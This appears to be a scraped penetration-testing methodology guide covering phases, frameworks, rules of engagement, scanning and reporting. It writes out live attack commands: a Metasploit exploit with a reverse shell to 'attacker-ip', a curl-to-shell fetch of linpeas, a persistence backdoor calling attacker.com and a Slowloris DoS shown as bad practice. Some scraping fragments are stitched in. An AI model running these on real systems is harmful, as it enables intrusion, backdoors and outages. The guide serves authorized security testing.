nmap -sC -sV -O -T4 target for initial reconnaissance; msfconsole for exploitation; Burp Suite for web app testing.| # | Phase | Objective | Key Tools | MITRE ATT&CK Tactic | Deliverable |
|---|---|---|---|---|---|
| 1 | Pre-engagement | Define scope, ROE, timeline, emergency contacts | Contract templates, PTES pre-engagement checklist | -- | Signed ROE document |
| 2 | Reconnaissance (OSINT) | Gather publicly available intel on target | Nmap, Shodan, theHarvester, Recon-ng, Google Dorks, WHOIS | Reconnaissance (TA0043) | Target profile document |
| 3 | Scanning & Enumeration | Identify live hosts, open ports, services, vulnerabilities | Nmap, Nessus, Nikto, Gobuster, enum4linux, SSLScan | Discovery (TA0007) | Port/service/vulnerability list |
| 4 | Vulnerability Analysis | Analyze scan results, prioritize exploitable vulns | Burp Suite, OWASP ZAP, Nuclei, searchsploit | -- | Prioritized vulnerability matrix |
| 5 | Exploitation | Validate vulnerabilities by gaining access | Metasploit, Burp Suite Pro, SQLMap, Hydra, John the Ripper | Initial Access (TA0001), Execution (TA0002) | Proof of exploitation |
| 6 | Post-Exploitation | Assess impact: pivot, escalate privileges, exfil data | Meterpreter, BloodHound, Mimikatz, LinPEAS, WinPEAS | Privilege Escalation (TA0004), Lateral Movement (TA0008) | Impact assessment |
| 7 | Reporting | Document findings, risk ratings, remediation | Custom templates, Dradis, PlexTrac, Serpico | -- | Executive + technical report |
| 8 | Remediation Verification | Retest after fixes are applied | Same tools as exploitation phase | -- | Retest report |
| Test Type | Knowledge Level | Simulates | Best For |
|---|---|---|---|
| Black Box | No prior knowledge of target | External attacker | Realistic threat simulation |
| Grey Box | Partial knowledge (credentials, architecture docs) | Insider threat or compromised account | Efficient coverage of attack surface |
| White Box | Full access (source code, network diagrams, admin creds) | Comprehensive audit | Maximum vulnerability discovery |
| Framework | Focus | Phases | Strengths | Limitation |
|---|---|---|---|---|
| PTES | General pentest | 7 (pre-engagement to reporting) | Most comprehensive, widely adopted | Not updated frequently |
| OWASP WSTG | Web application | 12 testing categories | Deep web-specific guidance | Web-only scope |
| NIST SP 800-115 | Government/compliance | 4 (planning, discovery, attack, reporting) | Compliance-aligned, risk-based | Less tactical detail |
| OSSTMM 3 | Operational security | 6 channels | Metrics-driven (rav score) | Complex, less community support |
| MITRE ATT&CK | Adversary emulation | 14 tactics, 200+ techniques | Maps to real-world TTPs | Framework, not step-by-step methodology |
START: What type of penetration test do you need?
├── Web application?
│ ├── YES → Follow OWASP WSTG v4.2 testing categories
│ │ Tools: Burp Suite, OWASP ZAP, Nikto, SQLMap, Gobuster
│ └── NO ↓
├── Network/infrastructure?
│ ├── YES → Follow PTES methodology + NIST SP 800-115
│ │ Tools: Nmap, Nessus, Metasploit, Responder, CrackMapExec
│ └── NO ↓
├── API testing?
│ ├── YES → OWASP API Security Top 10 + WSTG API sections
│ │ Tools: Burp Suite, Postman, Nuclei, ffuf
│ └── NO ↓
├── Cloud environment?
│ ├── YES → PTES + cloud-specific tools
│ │ Tools: ScoutSuite, Prowler (AWS), az-cli (Azure), CloudSploit
│ └── NO ↓
├── Wireless?
│ ├── YES → OSSTMM wireless channel + PTES
│ │ Tools: Aircrack-ng, Kismet, Wireshark, Wifite
│ └── NO ↓
└── DEFAULT → PTES general methodology + MITRE ATT&CK mapping
Establish the legal and operational boundaries of the test. Document target systems, IP ranges, testing windows, emergency contacts, and explicitly forbidden actions. [src2]
# Rules of Engagement (ROE) checklist:
- [ ] Target IP ranges / domains / URLs (in-scope)
- [ ] Explicitly out-of-scope systems
- [ ] Testing window (dates, hours, timezone)
- [ ] Test type: black box / grey box / white box
- [ ] Allowed actions: scanning, exploitation, social engineering, DoS
- [ ] Data handling: what to do with discovered PII/credentials
- [ ] Emergency contacts (client POC, escalation path)
- [ ] Communication channels and frequency
- [ ] Signed authorization letter (legal protection)
Verify: Both parties have signed the ROE document. Keep a copy accessible during the entire engagement.
Gather publicly available information without directly interacting with the target. [src1]
# DNS enumeration
dig +short target.com ANY
# WHOIS lookup
whois target.com
# Subdomain enumeration
theHarvester -d target.com -b google,bing,linkedin -l 500
# Search for exposed services on Shodan
shodan search hostname:target.com
Verify: Target profile contains: IP ranges, subdomains, employee names/emails, technology stack, and exposed services.
Directly probe the target to identify live hosts, open ports, running services, and their versions. [src6]
# Full port scan with service detection and OS fingerprinting
nmap -sC -sV -O -p- -T4 --open -oA full-scan target.com
# Top 1000 ports quick scan
nmap -sC -sV -T4 --top-ports 1000 -oN quick-scan.txt target.com
# Web directory brute-force
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt
# Vulnerability scan with Nmap NSE scripts
nmap --script vuln -p 80,443,8080 target.com
Verify: cat full-scan.txt shows open ports, service versions, and OS detection results.
Review scan results, research identified services for known CVEs, and build an exploitation plan. [src1]
# Search for known exploits
searchsploit apache 2.4
searchsploit openssh 8.
# Burp Suite: import target URL, run active scan on discovered endpoints
Verify: Vulnerability matrix created with: Vulnerability, CVE, CVSS Score, Affected Host/Port, Exploitation Feasibility.
Attempt to exploit confirmed vulnerabilities to prove impact. Document every step with timestamps and screenshots. [src5]
# Metasploit: search and use an exploit
msfconsole -q
msf6> search type:exploit name:apache
msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6> set RHOSTS target.com
msf6> set LHOST attacker-ip
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6> exploit
Verify: Successful exploitation produces a shell, extracted data, or modified state. Capture evidence.
After gaining initial access, assess real-world impact: escalate privileges, move laterally, determine reachable data. [src2]
# Meterpreter post-exploitation
meterpreter> sysinfo
meterpreter> getuid
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# Linux privilege escalation
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Verify: Document the maximum access achieved and what data was accessible. Record the full attack chain.
Structure the report for two audiences: executives (risk/business impact) and technical teams (reproduction steps, remediation). [src3]
# Report structure:
1. EXECUTIVE SUMMARY (1-2 pages)
2. METHODOLOGY (framework, tools, limitations)
3. FINDINGS (per vulnerability: title, CVSS, PoC, impact, remediation)
4. REMEDIATION PRIORITY MATRIX
5. APPENDICES (scan output, tools, tester details)
Verify: Report includes executive summary, all findings with CVSS scores and PoC evidence, and prioritized remediation.
#!/bin/bash
# Input: target domain and output directory
# Output: reconnaissance files (subdomains, ports, services)
TARGET=$1
OUTDIR="${2:-./recon-$TARGET}"
mkdir -p "$OUTDIR"
echo "[*] Starting recon for $TARGET"
# Subdomain enumeration
subfinder -d "$TARGET" -silent -o "$OUTDIR/subdomains.txt"
# Resolve live hosts
cat "$OUTDIR/subdomains.txt" | httpx -silent -o "$OUTDIR/live-hosts.txt"
# Port scan live hosts
nmap -sC -sV -T4 --open -iL "$OUTDIR/live-hosts.txt" \
-oA "$OUTDIR/nmap-scan" 2>/dev/null
# Input: Nmap XML output file
# Output: structured list of hosts with ports and services
import xml.etree.ElementTree as ET
def parse_nmap_xml(xml_file: str) -> list[dict]:
tree = ET.parse(xml_file)
hosts = []
for host in tree.getroot().findall("host"):
addr = host.find("address").get("addr", "")
ports = []
for port in host.findall(".//port"):
svc = port.find("service")
ports.append({
"port": int(port.get("portid", 0)),
"state": port.find("state").get("state", ""),
"service": svc.get("name", "") if svc else "",
"version": svc.get("version", "") if svc else "",
})
hosts.append({"ip": addr, "ports": ports})
return hosts
# Input: target IP and exploit module path
# Output: session ID if exploitation succeeds
import requests # ^2.31.0
class MetasploitRPC:
def __init__(self, host="127.0.0.1", port=55553, password="msf"):
self.url = f"http://{host}:{port}/api/"
resp = requests.post(self.url, json=["auth.login", password])
self.token = resp.json()["token"]
def run_exploit(self, module: str, options: dict) -> dict:
return requests.post(self.url, json=[
"module.execute", self.token, "exploit", module, options
]).json()
# Usage: msf = MetasploitRPC(password="your-rpc-password")
# BAD -- scanning without written authorization is illegal
nmap -sV -p- production-server.company.com
# Even "just scanning" without permission violates CFAA, CMA, etc.
# GOOD -- verify target is in scope before scanning
echo "[*] Confirming target is in ROE scope..."
grep -q "192.168.1.0/24" roe-scope.txt && \
nmap -sC -sV -T4 192.168.1.0/24 -oA in-scope-scan || \
echo "ERROR: Target not in scope. Aborting."
# BAD -- DoS exploits without explicit approval
msf6> use auxiliary/dos/http/slowloris
msf6> set RHOSTS production.target.com
msf6> run
# This can crash production systems and cause business disruption
# GOOD -- validate vulnerability without causing damage
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [*] 192.168.1.100:445 - The target is vulnerable.
# Document "check" output as proof -- only exploit with approval
# BAD -- leaving backdoors or artifacts on target
meterpreter> run persistence -X -i 10 -p 4444 -r attacker.com
# Persistent backdoors left on client systems create real security risk
# GOOD -- remove all testing artifacts and document cleanup
# Cleanup checklist:
# - Remove uploaded tools (linpeas.sh, winpeas.exe, nc.exe)
# - Delete created user accounts
# - Remove cron jobs / scheduled tasks
# - Close reverse shells and tunnels
# - Document all artifacts and their removal status
nmap -sU --top-ports 100). [src6]# Verify Nmap is installed and check version
nmap --version
# Verify Metasploit is installed and check version
msfconsole --version
# Check if target host is reachable
ping -c 3 target.com
# Verify you can reach target ports
nmap -Pn -p 80,443 target.com
# Check your external IP (for reverse shell LHOST)
curl -s ifconfig.me
# Verify Burp Suite proxy is running
curl -x http://127.0.0.1:8080 -k https://target.com
# Test Metasploit database connectivity
msfconsole -q -x "db_status; exit"
# Check if required tools are installed
which nmap metasploit-framework nikto gobuster sqlmap hydra 2>/dev/null
| Framework/Tool | Version | Status | Key Updates |
|---|---|---|---|
| PTES | v1.1 | Current | Refreshed technical guidelines (2024) |
| OWASP WSTG | v4.2 | Current | Updated testing categories for modern web apps |
| NIST SP 800-115 | Rev 1 | Current | Updated May 2021 -- federal standard |
| OSSTMM | 3.02 | Current | Last major update Dec 2010 |
| MITRE ATT&CK | v16 | Current | Quarterly updates with new techniques |
| Nmap | 7.95 | Current | New NSE scripts, improved OS detection |
| Metasploit | 6.4 | Current | EDR bypass modules, improved Linux privesc |
| Burp Suite | 2024.x | Current | AI-driven scanning hints, smart fuzzing |
| Kali Linux | 2024.4 | Current | Updated tool repositories |
| Use When | Don't Use When | Use Instead |
|---|---|---|
| Validating security controls with simulated attacks | Only need to check for known CVEs in dependencies | Automated vulnerability scanning (Nessus, Trivy) |
| Compliance requires pentest (PCI DSS, SOC 2, ISO 27001) | Building security into new code during development | Secure SDLC (SAST/DAST in CI/CD pipeline) |
| Assessing real-world exploitability of vulnerabilities | Need continuous security monitoring | SIEM + EDR solution |
| Testing incident response readiness (red team exercise) | Target system is in active development with no stable release | Code review instead |
| Evaluating security after major infrastructure changes | Need to train developers on secure coding | Security training programs + code review |
check command before exploit